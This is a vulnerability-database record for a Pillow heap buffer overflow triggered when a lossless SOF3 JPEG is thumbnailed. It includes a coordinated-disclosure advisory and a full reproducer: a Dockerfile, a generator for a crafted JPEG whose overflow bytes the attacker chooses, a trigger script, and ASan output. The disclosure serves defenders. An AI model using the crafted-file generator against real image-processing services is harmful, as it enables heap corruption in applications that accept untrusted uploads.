{"id":"CVE-2026-112403","kind":"vulnerability","aliases":["CVE-2026-112403","GHSA-8g5g-8vmr-9782"],"related":[],"title":"Pillow: Heap buffer overflow in ImagingJpegDecode","description":"## Summary\n\n`JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, `state->ysize` and `state->bits`.\n\nlibjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.\n\nThe input is a standards-compliant JPEG, so `Image.open(..., formats=[\"JPEG\"])` does not prevent it. Pillow's Python SOF parser already accepts marker `0xFFC3` (\"SOF3\", \"Spatial lossless\") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size.\n\n## Affected code\n\nAt `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29):\n\n- `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them.\n- `src/decode.c:222-231` — `_setimage()`; `state->buffer = calloc(1, state->bytes)` with `state->bytes = (state->bits * state->xsize + 7) / 8`.\n- `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding.\n- `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: (\"SOF3\", \"Spatial lossless\", SOF)`.\n\n```c\n// src/libImaging/JpegDecode.c\n            if (context->scale > 1) {\n                context->cinfo.scale_num = 1;\n                context->cinfo.scale_denom = context->scale;\n            }\n            ...\n        case 2:\n            if (!jpeg_start_decompress(&context->cinfo)) {\n                break;\n            }\n            state->state++;\n            /* fall through */\n        case 3:\n            ok = 1;\n            while (state->y < state->ysize) {\n                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);\n```\n\nBecause `state->ysize` (`ceil(H/s)`) can never equal libjpeg's `output_height` when `s >= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported.\n\n## Primitive\n\nPer scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.\n\nMeasured in the reproducer below: 1200x1100 mode `L`, `s=2` — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`.\n\nThreshold: `draft()` must select `s >= 2`, i.e. `W // requested_w >= 2` and `H // requested_h >= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H >= 1024`.\n\n## Reproduction\n\nSelf-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then:\n\n```bash\ndocker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob\n```\n\n`make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer.\n\n### `Dockerfile`\n\n```dockerfile\nFROM ubuntu:24.04\nENV DEBIAN_FRONTEND=noninteractive\nARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a\nARG CLANG_VERSION=20\nARG LIBJPEG_TURBO_TAG=3.1.4\n\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \\\n        wget gnupg lsb-release software-properties-common \\\n        python3 python3-dev python3-pip python3-venv zlib1g-dev \\\n    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \\\n    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \\\n    && rm -rf /var/lib/apt/lists/*\n\nENV CC=clang-20\nENV CXX=clang++-20\nENV CFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV CXXFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV LDFLAGS=\"-fsanitize=address\"\n\n# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---\nRUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo\nRUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \\\n    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \\\n        -DCMAKE_C_COMPILER=clang-20 \\\n        -DCMAKE_C_FLAGS=\"$CFLAGS\" \\\n        -DCMAKE_EXE_LINKER_FLAGS=\"$LDFLAGS\" \\\n        -DCMAKE_SHARED_LINKER_FLAGS=\"$LDFLAGS\" \\\n        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \\\n    && cmake --build /build/ljt -j\"$(nproc)\" && cmake --install /build/ljt\n\n# --- Pillow at the pinned commit, built with ASan against that libjpeg ---\nRUN git clone https://github.com/python-pillow/Pillow /src/repo\nWORKDIR /src/repo\nRUN git checkout ${TARGET_COMMIT}\n\nENV JPEG_ROOT=/opt/ljt\nENV LD_LIBRARY_PATH=/opt/ljt/lib\nRUN python3 -m venv /venv \\\n    && /venv/bin/pip install --quiet --upgrade pip \"setuptools>=80\" wheel pybind11 \\\n    && CFLAGS=\"$CFLAGS\" LDFLAGS=\"$LDFLAGS -Wl,-rpath,/opt/ljt/lib\" \\\n       /venv/bin/pip install --no-build-isolation --no-deps . \\\n    && ln -sf \"$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)\" /opt/libasan.so \\\n    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \\\n       /venv/bin/python3 -c \"from PIL import Image, features; print(Image.__version__, features.version('jpg'))\"\n\nCOPY make_sof3.py /tmp/make_sof3.py\nCOPY trigger.py /tmp/trigger.py\nRUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg\n\nENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1\nENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer\nENV LD_PRELOAD=/opt/libasan.so\nCMD [\"/bin/sh\",\"-c\",\"cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?\"]\n```\n\n### `make_sof3.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.\n\nStandards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).\nRows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).\n\"\"\"\nimport struct\nimport sys\n\nW = 1200\nH = 1100\nMARKER = b\"AAAABBBBCCCCDDDD\"  # attacker-chosen bytes that land past the buffer\n\n\nclass BitWriter:\n    def __init__(self):\n        self.out = bytearray()\n        self.acc = 0\n        self.n = 0\n\n    def put(self, value, nbits):\n        for i in range(nbits - 1, -1, -1):\n            self.acc = (self.acc << 1) | ((value >> i) & 1)\n            self.n += 1\n            if self.n == 8:\n                self.out.append(self.acc)\n                if self.acc == 0xFF:\n                    self.out.append(0x00)  # byte stuffing\n                self.acc = 0\n                self.n = 0\n\n    def flush(self):\n        while self.n:\n            self.put(1, 1)\n        return bytes(self.out)\n\n\n# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.\nBITS = [0] * 17\nBITS[5] = 17\nHUFFVAL = list(range(17))\nCODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}\n\n\ndef category(d):\n    if d == 0:\n        return 0\n    return abs(d).bit_length()\n\n\ndef build_pixels():\n    rows = []\n    for y in range(H):\n        row = bytearray()\n        while len(row) < W:\n            row += MARKER\n        rows.append(bytes(row[:W]))\n    return rows\n\n\ndef main(path):\n    rows = build_pixels()\n    bw = BitWriter()\n    prev = None\n    for y in range(H):\n        row = rows[y]\n        for x in range(W):\n            s = row[x]\n            if y == 0 and x == 0:\n                pred = 1 << 7          # 2^(P-1-Pt)\n            elif x == 0:\n                pred = prev[0]         # Rb for first sample of a line\n            else:\n                pred = row[x - 1]      # Ra, predictor 1\n            d = (s - pred) & 0xFFFF\n            if d >= 0x8000:\n                d -= 0x10000\n            ssss = category(d)\n            code, length = CODES[ssss]\n            bw.put(code, length)\n            if ssss:\n                v = d if d > 0 else d + (1 << ssss) - 1\n                bw.put(v & ((1 << ssss) - 1), ssss)\n        prev = row\n    entropy = bw.flush()\n\n    out = bytearray()\n    out += b\"\\xff\\xd8\"                                        # SOI\n    # DHT: class 0 (DC/lossless), table id 0\n    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)\n    out += b\"\\xff\\xc4\" + struct.pack(\">H\", len(dht) + 2) + dht\n    # SOF3: lossless, Huffman, sequential\n    sof = struct.pack(\">BHHB\", 8, H, W, 1) + bytes([1, 0x11, 0])\n    out += b\"\\xff\\xc3\" + struct.pack(\">H\", len(sof) + 2) + sof\n    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0\n    sos = bytes([1, 1, 0x00, 1, 0, 0])\n    out += b\"\\xff\\xda\" + struct.pack(\">H\", len(sos) + 2) + sos\n    out += entropy\n    out += b\"\\xff\\xd9\"                                        # EOI\n    with open(path, \"wb\") as f:\n        f.write(bytes(out))\n    print(f\"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless\")\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1] if len(sys.argv) > 1 else \"/tmp/sof3_gray_1200x1100.jpg\")\n```\n\n### `trigger.py`\n\n```python\nimport sys\nfrom PIL import Image, features\nprint(\"Pillow\", Image.__version__, \"| libjpeg\", features.version(\"jpg\"), flush=True)\nim = Image.open(\"/tmp/sof3_gray_1200x1100.jpg\")\nprint(\"format=%s mode=%s size=%s\" % (im.format, im.mode, im.size), flush=True)\nprint(\">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer\", flush=True)\nsys.stdout.flush()\ntry:\n    im.thumbnail((256, 256))\n    print(\"thumbnail returned, size=%s\" % (im.size,), flush=True)\nexcept Exception as e:\n    print(\"exception: %r\" % (e,), flush=True)\n```\n\nValidated output:\n\n```\nPillow 13.0.0.dev0 | libjpeg 6.2\nformat=JPEG mode=L size=(1200, 1100)\n>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer\n=================================================================\n==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422\nWRITE of size 1200 at 0x74e4e904aad8 thread T0\n    #0 __asan_memcpy\n    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5\n    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3\n    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3\n    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3\n    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22\n    #6 _decode /src/repo/src/decode.c:132:14\n\n0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)\nallocated by thread T0 here:\n    #0 calloc\n    #1 _setimage /src/repo/src/decode.c:230:34\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy\n```\n\nNegative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as `draft()` computed it.\n\n```\ncontrol baseline DCT JPEG: JPEG L (1200, 1100)\nthumbnail OK, size = (256, 235) -- no ASan report\n```\n\n## Scope and caveats\n\n- Reproduced on `main` at `e41083f383c9cd3db95de52564cc0b6452313d4a`, which is current `origin/main` as of 2026-08-30. Also reported against 12.3.0.\n- Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.\n- No non-default Pillow configuration is involved: `Image.thumbnail()` calls `draft()` by default, and the triggering bytes are entirely file data.\n- Only paths that use `draft()` before loading are affected. `open().load()` and `resize()` decode at scale 1 and are unaffected. Calling `img.load()` before `thumbnail()`, or `thumbnail(..., reducing_gap=None)`, avoids the path in an application today.\n- Not affected on the same code path: SOF11 (arithmetic lossless) fails with `JERR_ARITH_NOTIMPL` before any row; 12- and 16-bit lossless are rejected by Pillow's `SOF()` because it requires `bits == 8`; SOF5-7/13-15 fail with `JERR_SOF_UNSUPPORTED`.\n\n\n## Credit and disclosure\n\nFound by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.\n\nThis report follows Anthropic's coordinated vulnerability disclosure policy\n(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day\ndisclosure window from the date of this report.\n\nCredit goes to Claude (Anthropic) and Ada Logics.","summary":"Pillow's JPEG decoder writes decoded pixel rows past the end of a heap buffer when a lossless (SOF3) JPEG is opened and thumbnailed, because the requested scaled decode is ignored by libjpeg-turbo 3.x for lossless streams. An attacker who supplies a crafted image can corrupt heap memory with attacker-chosen bytes, and the decode then raises an exception.","severity":"critical","cvss":9.2,"epss":0.0032099999953061342,"exploited":false,"exploited_at":null,"products":[{"name":"Pillow","fixed":["13.0.0"],"affected":"<= 12.3.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-122","image-processing","package","pillow","poc-public","python","user-uploads"],"not_affected_if":["no-untrusted-jpeg-input","static-images-only"],"how_to_check":"pip show pillow and confirm the version is 12.3.0 or lower\nRun python -c \"from PIL import Image; print(Image.__version__)\"\nCheck whether the app opens untrusted JPEG uploads and calls thumbnail() or draft() on them","fix":"Upgrade Pillow to 13.0.0 or later (pip install -U \"pillow>=13.0.0\")\nIf upgrading is not possible, unknown","status":"open","published_at":"2026-10-19T22:17:07+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:13:24+00:00","updated_at":"2026-10-23T21:57:19+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:13:24Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade Pillow to 13.0.0 or later (pip install -U \"pillow>=13.0.0\")\nIf upgrading is not possible, unknown","summary":"Pillow's JPEG decoder writes decoded pixel rows past the end of a heap buffer when a lossless (SOF3) JPEG is opened and thumbnailed, because the requested scaled decode is ignored by libjpeg-turbo 3.x for lossless streams. An attacker who supplies a crafted image can corrupt heap memory with attacker-chosen bytes, and the decode then raises an exception.","category":"package","who_cares":["python","pillow","image-processing","user-uploads"],"confidence":0.8,"analyst_note":"Confirm the fixed version 13.0.0 against the GHSA-8g5g-8vmr-9782 advisory page and check whether a patched 12.x release exists; the sources do not say how exploitable this is beyond the reproducer.","how_to_check":"pip show pillow and confirm the version is 12.3.0 or lower\nRun python -c \"from PIL import Image; print(Image.__version__)\"\nCheck whether the app opens untrusted JPEG uploads and calls thumbnail() or draft() on them","needs_analyst":true,"not_affected_if":["no-untrusted-jpeg-input","static-images-only"],"severity_if_unknown":"unknown"},"cost_usd":0.001021,"input_tokens":7807,"output_tokens":480,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-08':301C '-112403':9A,17A '-122':20B '-2026':8A,16A '-231':325C '-262':305C '-29':302C '-464':344C '0xffc3':271C,364C '1':330C,374C,378C,400C,414C,491C '1/2':103C '1/4':104C '1/8':106C '1024':596C '1200':559C '1200x1100':541C '2':385C,429C,545C,571C,576C,581C '2.0':591C '20':606C '2026':300C '222':324C '224':304C '24.04':604C '240':311C '252':316C '256':584C,585C '271':363C '3':68B,171C,398C '3.1.4':610C '4':496C '428':343C '600':547C,550C '7':340C '8':242C,276C,341C '8g5g':12A '8vmr':13A '9782':14A 'accept':269C 'address':619C 'affect':295C 'alloc':121C,225C,549C 'alreadi':268C,441C 'alway':432C 'arbitrari':530C 'asan':555C 'attack':74B,86B,519C,532C 'attacker-chosen':85B,531C 'automat':101C 'back':453C 'bash':643C 'bit':167C,243C,277C,337C 'block':488C 'break':392C 'buffer':3A,47B,127C,148C,202C,328C,413C,512C 'build':645C 'built':614C 'byte':88B,218C,229C,238C,332C,335C,479C,534C,548C,551C,560C 'byte-exact':237C 'c':369C,478C,487C,490C 'call':100C,138C,211C 'caller':445C 'calloc':329C,483C 'case':384C,397C 'ceil':129C,205C,214C,418C,475C,484C,504C 'check':320C,621C 'chosen':87B,516C,533C 'cinfo':391C,411C 'cinfo.out':157C 'cinfo.output':152C,154C 'cinfo.scale':134C,376C,380C 'clang':605C 'class':514C 'cmyk':501C 'code':296C,361C 'color':158C 'commit':625C 'compar':151C 'compliant':253C 'compon':159C,217C 'comput':346C 'consequ':458C 'contain':600C 'content':527C 'context':372C,375C,379C,382C,390C,410C 'contigu':471C 'corrupt':81B 'craft':78B 'cve':7A,15A 'cwe':19B 'declar':293C 'decod':36B,38B,61B,91B,126C,173C,232C,431C 'decoderconfig':355C 'decompress':141C,309C,389C 'default':588C,626C 'denom':137C,187C,381C 'directori':641C 'discard':190C 'docker':601C,644C,651C 'dockerfil':634C 'draft':567C 'e41083f383c9cd3db95de52564cc0b6452313d4a':298C,627C 'empti':640C 'end':43B,221C,433C 'equal':422C 'error':436C 'ever':150C 'exact':239C 'except':95B,448C 'extent':116C,353C 'fall':395C 'file':281C,631C 'format':257C 'fsanit':618C 'full':195C,292C 'full-width':194C 'gap':590C 'geometri':319C 'get':450C 'ghsa':11A 'ghsa-8g5g-8vmr':10A 'grayscal':244C,524C 'h':578C,580C,595C 'h/s':419C,505C 'hardwir':178C 'heap':2A,46B,82B,224C 'height':155C,426C 'i.e':572C 'ignor':63B 'imag':22B,79B,246C,289C 'image-process':21B 'image.open':256C 'image.thumbnail':99C 'imagingjpegdecod':6A,132C,306C 'immedi':480C 'input':248C 'issu':464C 'jpeg':35B,52B,108C,139C,176C,208C,254C,258C,286C,307C,312C,387C,407C 'jpegimagefile.draft':97C,345C 'l':288C,494C,543C 'libjpeg':66B,169C,423C,608C 'libjpeg-turbo':65B,168C,607C 'lossless':50B,71B,174C,179C,245C,274C,360C,367C 'main':299C 'make_sof3.py':635C 'marker':270C 'match':118C 'mean':593C 'measur':536C 'memcpi':565C 'memori':83B 'mode':287C,493C,542C 'must':568C 'never':421C 'normal':283C 'notion':358C 'num':135C,377C 'ok':399C,406C 'one':564C 'oob':650C 'open':54B,282C 'oserror':455C 'output':109C,425C 'overflow':4A,228C,461C,526C 'packag':24B 'parser':267C 'past':41B,219C,481C,553C 'per':468C 'pillow':1A,18A,25B,33B,263C,612C,620C,648C,655C 'pillow-':654C 'pillow-sof3-oob':647C 'pixel':39B,233C,452C 'poc':27B 'poc-publ':26B 'precis':278C 'prevent':261C 'primit':467C 'process':23B 'public':28B 'python':29B,265C 'rais':93B 'read':144C,209C,313C,408C 'reduc':589C 'region':510C 'repeat':502C 'report':466C,556C 'reproduc':539C,602C 'reproduct':597C 'request':59B,102C,185C,574C,579C 'return':193C 'rgb':498C 'rgbx':499C 'rm':653C 'row':40B,125C,199C,439C,506C,561C 'run':652C 'sampl':131C,198C 'save':628C 'scale':60B,107C,136C,183C,186C,373C,383C 'scanlin':145C,210C,314C,409C,469C 'see':446C 'select':569C 'self':599C 'self-contain':598C 'self._size':112C 'set':133C 'setimag':120C,326C 'shrink':111C,349C 'silent':189C 'singl':124C 'single-row':123C 'size':203C,294C,350C,513C 'sof':266C,368C 'sof3':51B,175C,272C,365C,649C 'sourc':616C 'spatial':273C,366C 'src/decode.c':323C 'src/libimaging/jpegdecode.c':303C,370C 'src/pil/jpegimageplugin.py':342C,362C 'standard':252C 'standards-compli':251C 'start':140C,308C,388C 'state':161C,163C,166C,327C,331C,334C,336C,338C,393C,394C,402C,404C,412C,416C 'stream':72B,180C 'string':535C 'summari':96C 'suppli':76B 'target':624C 'therefor':192C 'three':630C 'threshold':566C 'thumbnail':56B,583C 'tile':115C,352C 'trigger.py':637C 'turbo':67B,170C,609C 'ubuntu':603C 'upload':32B 'user':31B 'user-upload':30B 'valu':234C 'w':197C,213C,474C,521C,573C,575C,594C 'w/s':130C,206C,215C,476C,485C 'whole':558C 'width':153C,196C 'without':149C 'write':37B,212C,472C,562C 'written':443C,552C 'x':69B,172C,216C,477C,486C 'xsize':162C,339C 'y':403C 'ysize':164C,405C,417C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T22:17:07+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":1,"sources":[{"source":"ghsa","external_id":"GHSA-8g5g-8vmr-9782","url":"https://github.com/advisories/GHSA-8g5g-8vmr-9782","severity":"critical","published_at":"2026-10-20T20:40:07+00:00","modified_at":"2026-10-20T20:40:09+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"github-poc","external_id":"al4n4n/CVE-2026-112403","url":"https://github.com/al4n4n/CVE-2026-112403","severity":null,"published_at":"2026-10-23T09:49:47+00:00","modified_at":null,"first_seen_at":"2026-10-23T20:22:16+00:00","fetched_at":"2026-10-23T20:22:16+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112403","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112403","severity":null,"published_at":"2026-10-19T22:17:07+00:00","modified_at":"2026-10-22T22:18:01+00:00","first_seen_at":"2026-10-23T21:57:19+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null}],"documents":[{"id":682,"url":"https://github.com/al4n4n/CVE-2026-112403","title":"al4n4n/CVE-2026-112403","kind":"poc","source":"github","text":"CVE-2026-112403: Pillow heap buffer overflow in ImagingJpegDecode via lossless JPEG thumbnail. One POST, 100% crash rate.\n\nstars 0","published_at":"2026-10-23T09:49:47+00:00","relation":"poc","confidence":null,"note":"0 stars"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}